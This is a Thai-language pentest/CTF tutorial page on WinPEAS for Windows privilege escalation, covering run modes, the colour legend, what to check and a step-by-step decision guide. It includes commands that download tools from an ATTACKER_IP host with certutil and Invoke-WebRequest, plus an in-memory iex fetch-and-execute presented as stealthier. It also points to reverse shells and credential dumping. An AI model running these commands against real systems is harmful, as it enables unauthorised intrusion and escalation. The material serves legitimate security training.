windows-privesc
WinPEAS
WinPEAS เป็น script enumeration อัตโนมัติสำหรับ Windows privilege escalation — สแกนระบบทุกด้านแล้ว highlight ช่องทาง privesc ด้วยสี บทนี้ลงลึกการรัน (exe/bat/ps1), การอ่านผลตามสี, ส่วนที่ต้องดู, การส่งไฟล์เข้าเป้าหมาย และการใช้คู่ manual/อื่น (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
BeginnerIntermediate#winpeas#windows#privesc#automated#peass#enumeration#ctf
1. WinPEAS คืออะไร
WinPEAS (ในชุด PEASS-ng) รัน enumeration ครบทุกด้านบน Windows อัตโนมัติ — system info, service ที่ตั้งผิด, registry, scheduled task, credential ที่เก็บไว้, token privileges, software เก่า — แล้ว highlight ด้วยสีตามความน่าจะเป็นที่ใช้ privesc ได้ ประหยัดเวลามากเทียบ manual
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
Windows privesc — ลำดับที่ควรไล่
ได้ shell บน Windows
enumeration อัตโนมัติ
รัน WinPEAS แล้วไล่ผลแดงพื้นเหลืองก่อน
whoami /priv
ดู token privileges
SeImpersonate→Potato attacks → SYSTEM
SeBackup/SeDebug→dump SAM / inject
service ตั้งค่าผิด
accesschk: binPath/binary เขียนได้?
แก้ service ได้→Service Abuse → SYSTEM
path มีช่องว่าง→Unquoted Service Path
registry / scheduled task / DLL
AlwaysInstallElevated=1→MSI → SYSTEM
DLL ที่ขาด+เขียนได้→DLL Hijacking
ได้ SYSTEM / Administrator
2. อ่านผลตามสี
| สี | ความหมาย |
|---|---|
| แดงพื้นหลัง/เหลือง (Red on Yellow) | พบช่องโหว่/น่าสนใจสูงสุด — ดูก่อน! |
| แดง (Red) | น่าสนใจ ควรตรวจ |
| เขียว (Green) | ปกติ/พบทั่วไป |
| ฟ้า (Blue) | ข้อมูลทั่วไป |
โฟกัสที่ แดงพื้นเหลือง ก่อน — เป็นสิ่งที่ WinPEAS เน้นว่าน่าจะ privesc ได้; รันด้วยพารามิเตอร์เต็มเพื่อ scan ละเอียด
3. การรัน
ส่งเข้าเป้าหมาย + รัน (exe/bat/ps1)Windows
# ส่งไฟล์เข้าเป้าหมาย (จากเครื่องเรา python3 -m http.server 80)
# PowerShell download:
powershell -c "Invoke-WebRequest -Uri http://ATTACKER_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe"
# certutil:
certutil -urlcache -f http://ATTACKER_IP/winPEASx64.exe wp.exe
# รัน exe (เวอร์ชันหลัก)
.\winPEASx64.exe
# scan ละเอียด + log
.\winPEASx64.exe log
.\winPEASx64.exe quiet cmd fast # โหมดเร็ว
# เวอร์ชัน .bat (ถ้ารัน exe ไม่ได้)
winPEAS.bat
# in-memory ผ่าน PowerShell (ไม่แตะ disk)
iex (iwr http://ATTACKER_IP/winPEAS.ps1 -UseBasicParsing)มี exe/bat/ps1; certutil/IWR ส่งไฟล์; .ps1 รัน in-memory ไม่แตะ disk (เนียนกว่า)
4. ส่วนผลที่ต้องดู
- Service info: unquoted path, weak permission, modifiable service (ดู Win Services/Unquoted)
- Registry: AlwaysInstallElevated, autorun, weak reg permission
- Scheduled Tasks: task ที่รันเป็น SYSTEM ที่เราแก้ได้
- Credentials: stored creds, Credential Manager, unattend.xml, registry passwords
- Token privileges: SeImpersonate/SeDebug (ดู Token Abuse)
- Applied/known exploits: patch ที่ขาด (สำหรับ kernel/MS exploit)
- Network/installed software: service เก่า, port internal
5. Quick Reference
- enumeration อัตโนมัติ Windows — highlight privesc ด้วยสี
- สี: แดงพื้นเหลือง = น่าสนใจสุด (ดูก่อน)
- ส่ง: certutil -urlcache -f http://IP/wp.exe wp.exe
- รัน: .\winPEASx64.exe (log/quiet); .ps1 in-memory
- ดู: service/registry/scheduled task/credential/token privilege
- ใช้คู่ manual + เครื่องมืออื่น (PowerUp/Seatbelt)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ shell แรกบน Windows เป้าหมาย ยังไม่รู้จะไปทางไหน มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อให้ winPEAS พาไปหาช่องทาง privesc
- 1เปิด http server บน Kali เพื่อส่งไฟล์: python3 -m http.server 80 (รันในโฟลเดอร์ที่มี winPEASx64.exe — ดาวน์โหลดจาก GitHub release ของ PEASS-ng ถ้ายังไม่มี)
- 2บนเป้าหมาย ดาวน์โหลดเข้ามา: certutil -urlcache -f http://
/winPEASx64.exe wp.exe - 3รันแบบเร็วก่อน: .\wp.exe quiet cmd fast แล้วดูบรรทัดแดงพื้นเหลืองเป็นอันดับแรก
- 4ถ้าอยากได้ log เต็มเก็บไว้อ่าน: .\wp.exe log แล้วดึงไฟล์ log กลับมาอ่านบน Kali
- 5ไล่อ่านผลตามหมวด: Services → Registry → Scheduled Tasks → Credentials → Token privileges
- 6เจอ misconfig หมวดไหนก่อน ให้ตามไปหัวข้อนั้นทันที อย่าไล่ทุกหมวดถ้าเจอทางที่ชัดแล้ว
- 7ถ้าหมวด service ขึ้นแดง (weak permission/unquoted path) → ไปที่ Win Services หรือ Unquoted Service Path
- 8ถ้าหมวด registry ขึ้น AlwaysInstallElevated=1 → ไปที่ AlwaysInstallElevated
- 9ถ้าหมวด token privileges มี SeImpersonate/SeDebug → ไปที่ Token Abuse
- 10ถ้าหมวด credentials เจอ password ที่เก็บไว้ → ไปที่ Credential Dumping ต่อด้วย Pass-the-Hash
- 11ถ้าไล่ทุกหมวดแล้วไม่เจอไรเลย (สีเขียว/ฟ้าล้วน) ให้ลองรันแบบเต็ม .\wp.exe ไม่ใส่ quiet/fast เผื่อพลาดบางจุด
- 12ถ้ายังไม่เจอจริงๆ ให้ตรวจ manual เพิ่มด้วย PowerUp/Seatbelt หรือดู kernel exploit ที่ตรงกับ patch level
ตัดสินใจ: winPEAS พาไปทางไหน
ส่ง winPEASx64.exe เข้าเป้าหมายแล้วรัน quiet cmd fast
เจอบรรทัดแดงพื้นเหลืองไหม?
❌ ไม่เจอเลย→→ รันแบบเต็มไม่ใส่ fast/quiet ลองใหม่
✅ เจอ→→ ดูว่าเป็นหมวดไหน
หมวดไหนขึ้นแดง?
service misconfig→→ ไป Win Services
unquoted path→→ ไป Unquoted Service Path
registry (AlwaysInstallElevated/autorun)→→ ไป Registry
token privilege (SeImpersonate/SeDebug)→→ ไป Token Abuse
credential ที่เก็บไว้→→ ไป Credential Dumping / Pass-the-Hash
รัน .\wp.exe เต็มรูปแบบ (ไม่ fast) ไล่ทุกหมวดเอง
ยังไม่เจอจริงๆ → ลอง manual ด้วย PowerUp/Seatbelt หรือเช็ค kernel exploit
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server | - | - |
| ดาวน์โหลดฝั่งเป้าหมาย | certutil / powershell IWR | - | github.com/peass-ng/PEASS-ng/releases |
| enum อัตโนมัติหลัก | winPEAS | - | - |
| enum เสริม (privesc checklist) | PowerUp.ps1 / Seatbelt | git clone PowerUp / Seatbelt | - |
| เปิด reverse shell สำรอง | nc / msfvenom | - | revshells.com |
| หา LOLBin ที่ใช้ execute/ดาวน์โหลด | - | - | lolbas-project.github.io |
| ค้น exploit/CVE เพิ่มเติมตาม patch level | searchsploit | - | exploit-db.com |
🚑 ถ้าตันสนิท ลองท่าถัดไปตามหมวดที่ winPEAS เตือน: Win Services, Unquoted Service Path, Registry, AlwaysInstallElevated, Token Abuse, หรือ Credential Dumping ต่อด้วย Pass-the-Hash — เลือกตามหมวดที่ขึ้นแดงจริง อย่าเดา
หัวข้อที่เชื่อมโยง
Registry Privescอยู่ใน workflowWinPEAS Playbookเครื่องมือเดียวกันCredential Dumping (LSASS)อยู่ใน workflowWindows Service Abuseอยู่ใน workflowUnquoted Service Pathอยู่ใน workflowNmap Playbookเกี่ยวข้องโดยตรงLinPEASเทคนิคเดียวกันLinPEAS PlaybookเทคนิคเดียวกันPass-the-Hashอยู่ใน workflowToken Abuse (Potato Attacks)อยู่ใน workflowDirectory EnumerationเทคนิคเดียวกันLinux Enumerationเทคนิคเดียวกัน
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้